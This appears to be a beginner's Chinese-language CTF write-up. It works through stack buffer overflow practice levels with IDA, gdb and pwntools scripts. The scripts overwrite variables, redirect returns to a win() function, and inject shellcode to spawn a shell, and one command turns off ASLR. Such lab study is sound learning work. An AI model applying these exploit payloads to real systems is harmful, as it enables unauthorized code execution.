做题入门=。=
菜呀,学习
level-0
aris教我checksec一下看是啥文件

32位的打开32位的ida
主程序

ebp是栈底指针 esp是栈顶指针
好奇为啥栈底指针在最高的地方
- aris说是为了最大化利用空间(懵逼)
学习一下栈的知识
只要覆盖0x44个字节把 v5覆盖了就行
# coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'bash', '-c']
payload = "A" * 0x44
cn.sendline(payload)
cn.readline()
gdb 调试一下

可以看到已经被覆盖了
level-1

checksec 一下 发现是32位的
打开ida

只要把v5的值覆盖成1633837924就行了
转成16进制

0x61626364
用pwntools的时候会跳不出argc
aris说就跟sys.argv 一样需要给参数
看来只能手输入了

这里刚刚好覆盖到
换成61626364就好了

因为是小端的所以是反的

ok
level2

还是32位的一个
用ida打开

直接运行会这样

有一个getenv函数
是从系统环境中获得变量,问了一下aris
export
这个命令就行
ch1p告诉我在ida里面可以用h将值变成16进制

只要把v5的值覆盖成0d0a0d0a之后就好了
小端所以是0a0d0a0d
import os
os.putenv('GREENIE','A'*0X40+'\x0a\x0d\x0a\x0d')
os.system('./level2')
运行一下成功了

level3
放到ida看一下

主函数

还有一个win函数
应该是把v5的值改成win的入口地址

看到win的入口地址是
0x08048424
把v5的值改成这个就行
需要
0x40个A+0x08048424
aris教我可以用hex来查看堆栈信息
使用回车可以看后面栈的内容
可以发现我已经将v5的值改掉了


成功
脚本:
#coding=utf8
from pwn import *
local = 1
if local:
cn = process('./level3')
payload = 'A'*0x40+p32(0x08048424)
cn.sendline(payload)
cn.interactive()
level4
打开ida

发现main函数只有这么点
还有一个win函数

还是要跳到这个函数
找到win函数的入口地址
看了一下s离ebp是0x40个字节
所以payload是
'A'*0x40+'bbbb'+p32(0x08048424)
b是用来覆盖ebp 接下来就是返回地址
在测试的时候发现不行用gdb调试一下

发现并没有跳到我给的地址打印一下栈看一下

发现我的已经写上去了,但是地址还在后面8位
所以更改payload
A*0x48+'bbbb'+p32(0x08048424)
成功!

脚本:
#coding=utf8
from pwn import *
local = 1
if local:
cn = process('./level4')
payload = 'A'*0x48+'bbbb'+p32(0x08048424)
cn.sendline(payload)
cn.interactive()
解答
为啥往后移了8位静态分析的时候没啥问题
问了下aris


经过了与之后就比之前小了8就往后移了8位
23333
gdb是好东西
level5
打开ida

除了这个函数别的都没了
可以试着写shellcode了

看一下pwntools自带的shellcode只有44长度
那个字符串s的长度有48所以写进去应该没啥问题
不过首先得把ASLR的保护给关了不然写不到那个地址上
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
用gdb调试一下
shellcode = asm(shellcraft.sh())
payload = shellcode+'A'*0x1C+p32(0x00000000)+p32(0xffffcf00)
cn.sendline(payload)

可以看到他已经被覆盖成功了,下一步就是shellcode

命令执行成功
level6
打开ida

main函数
看一下getpath函数

应该是从这里入手
发现不能像level5一样直接覆盖return的地址了
他做了限定前2位不能是ff
通过空函数然后在return回来执行下一句return到shellcode就好了

找一个空函数 方便跳回来继续执行
就是你了
0x0804850b

gdb调试一下

成功进去了

return到了我们的shellcode的位置

成功~

脚本:
shellcode = asm(shellcraft.sh())
payload = shellcode+'A'*0x20+p32(0x00000000)+p32(0x0804850b)+p32(0xffffceec)
cn.sendline(payload)
cn.interactive()
level7
还是和level6一样
只是getpath函数变了

就是多了一个strdup函数
上网查了一下他是从堆里面分配空间
感觉没啥用
跟上一题一样的思路找一下空函数

0x0804855b
然后写一下payload

shellcode = asm(shellcraft.sh())
payload = shellcode+'A'*0x20+p32(0x00000000)+p32(0x0804855b)+p32(0xffffceec)
# z('b*0x080484EF\nc')
cn.sendline(payload)
cn.interactive()
番外
当然有更屌的解法

(等我学成归来)在学习一下
参考资料
https://blog.csdn.net/sinat_31054897/article/details/82223889
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